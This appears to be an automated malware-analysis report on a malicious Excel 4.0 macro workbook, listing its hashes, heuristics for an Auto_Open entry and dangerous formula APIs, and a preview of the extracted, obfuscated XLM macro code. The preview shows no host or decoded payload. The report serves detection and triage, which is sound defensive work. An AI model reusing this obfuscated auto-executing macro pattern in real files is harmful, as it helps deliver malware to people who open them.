Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b04a73276d99fa2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:32 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: ebc7abb27c104ae2af0605933854586e SHA-1: 01580543a2465bbb13f5fa589b5c52cd82484915 SHA-256: 0b04a73276d99fa28e5e26793e8f21ad7fceff49f8a223935956f3f80c7ed67c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a common technique for executing malicious code upon opening. The critical heuristics indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands or download further payloads. No specific family could be identified, but the execution method is clear.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6878 bytes
SHA-256: ad9f63754e1eff6cf023adee7e579272eef12950f6cd9d54d3c275869ed0ee52
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vBNoOYAfuy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D175 
' 0018     21 LABEL : Cell Value, String Constant - bQhetb len=0 
' 0018     25 LABEL : Cell Value, String Constant - CuWJifmRUe len=0 
' 0018     20 LABEL : Cell Value, String Constant - EmLhV len=0 
' 0018     24 LABEL : Cell Value, String Constant - FAIrkATRC len=0 
' 0018     24 LABEL : Cell Value, String Constant - Gfavmosww len=0 
' 0018     24 LABEL : Cell Value, String Constant - GnIbgaQVG len=0 
' 0018     25 LABEL : Cell Value, String Constant - LoFKsbpgNs len=0 
' 0018     25 LABEL : Cell Value, String Constant - LsRHCnbqdE len=0 
' 0018     22 LABEL : Cell Value, String Constant - MBMOGzL len=0 
' 0018     20 LABEL : Cell Value, String Constant - neRRv len=0 
' 0018     20 LABEL : Cell Value, String Constant - njmvs len=0 
' 0018     24 LABEL : Cell Value, String Constant - NoXLjuYtX len=0 
' 0018     25 LABEL : Cell Value, String Constant - oNdYJorgNr len=0 
' 0018     20 LABEL : Cell Value, String Constant - PEouk len=0 
' 0018     23 LABEL : Cell Value, String Constant - TMfoxnAb len=0 
' 0018     21 LABEL : Cell Value, String Constant - TrLvWL len=0 
' 0018     22 LABEL : Cell Value, String Constant - UHPwjyZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - UpJnKXTtEQuX len=0 
' 0018     27 LABEL : Cell Value, String Constant - uSejIaYPTylV len=0 
' 0018     21 LABEL : Cell Value, String Constant - UtUsnQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vBNoOYAfuy,Q78,"",273.00000000000000000000
'  vBNoOYAfuy,Q79,"",609.00000000000000000000
'  vBNoOYAfuy,Q80,"",-388.00000000000000000000
'  vBNoOYAfuy,Q81,"",-905.00000000000000000000
'  vBNoOYAfuy,Q82,"",901.00000000000000000000
'  vBNoOYAfuy,Q83,"",-70.00000000000000000000
'  vBNoOYAfuy,D87,"SET.NAME("uSejIaYPTylV",0+VALUE("0"))",""
'  vBNoOYAfuy,D89,"SET.NAME("bQhetb",uSejIaYPTylV)",""
'  vBNoOYAfuy,D92,"SET.NAME("UpJnKXTtEQuX",uSejIaYPTylV)",""
'  vBNoOYAfuy,D95,"SET.NAME("EmLhV",COUNTA(LsRHCnbqdE))",""
'  vBNoOYAfuy,D97,"SET.NAME("LoFKsbpgNs",COUNTA(FAIrkATRC))",""
'  vBNoOYAfuy,D100,[],""
'  vBNoOYAfuy,D102,"SET.NAME("UtUsnQ","")",""
'  vBNoOYAfuy,D104,"bQhetb",""
'  vBNoOYAfuy,D109,"SET.NAME("njmvs",HLOOKUP("*",LsRHCnbqdE,bQhetb,FALSE))",""
'  vBNoOYAfuy,D114,"TrLvWL",""
'  vBNoOYAfuy,D116,"SET.NAME("UHPwjyZ",uSejIaYPTylV)",""
'  vBNoOYAfuy,D118,[],""
'  vBNoOYAfuy,D120,"UHPwjyZ",""
'  vBNoOYAfuy,D122,"MBMOGzL",""
'  vBNoOYAfuy,D125,"neRRv",""
'  vBNoOYAfuy,D130,"NoXLjuYtX",""
'  vBNoOYAfuy,D133,"SET.NAME("Gfavmosww",VALUE(HLOOKUP("*",FAIrkATRC,NoXLjuYtX,FALSE)))",""
'  vBNoOYAfuy,D138,"TMfoxnAb",""
'  vBNoOYAfuy,D141,"UtUsnQ",""
'  vBNoOYAfuy,D146,"UpJnKXTtEQuX",""
'  vBNoOYAfuy,D151,NEXT(),""
'  vBNoOYAfuy,D154,"CuWJifmRUe",""
'  vBNoOYAfuy,D159,[],""
'  vBNoOYAfuy,D161,"PEouk",""
'  vBNoOYAfuy,D166,NEXT(),""
'  vBNoOYAfuy,D171,RETURN(),""
'  vBNoOYAfuy,D198,"SET.NAME("GnIbgaQVG",D87)",""
'  vBNoOYAfuy,D201,"LsRHCnbqdE",""
'  vBNoOYAfuy,D206,"SET.NAME("FAIrkATRC",R97C12)",""
'  vBNoOYAfuy,D211,"SET.NAME("PEouk",216)",""
'  vBNoOYAfuy,D213,"SET.NAME("oNdYJorgNr",4)",""
'  vBNoOYAfuy,D215,GnIbgaQVG(),""
'  vBNoOYAfuy,D216,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.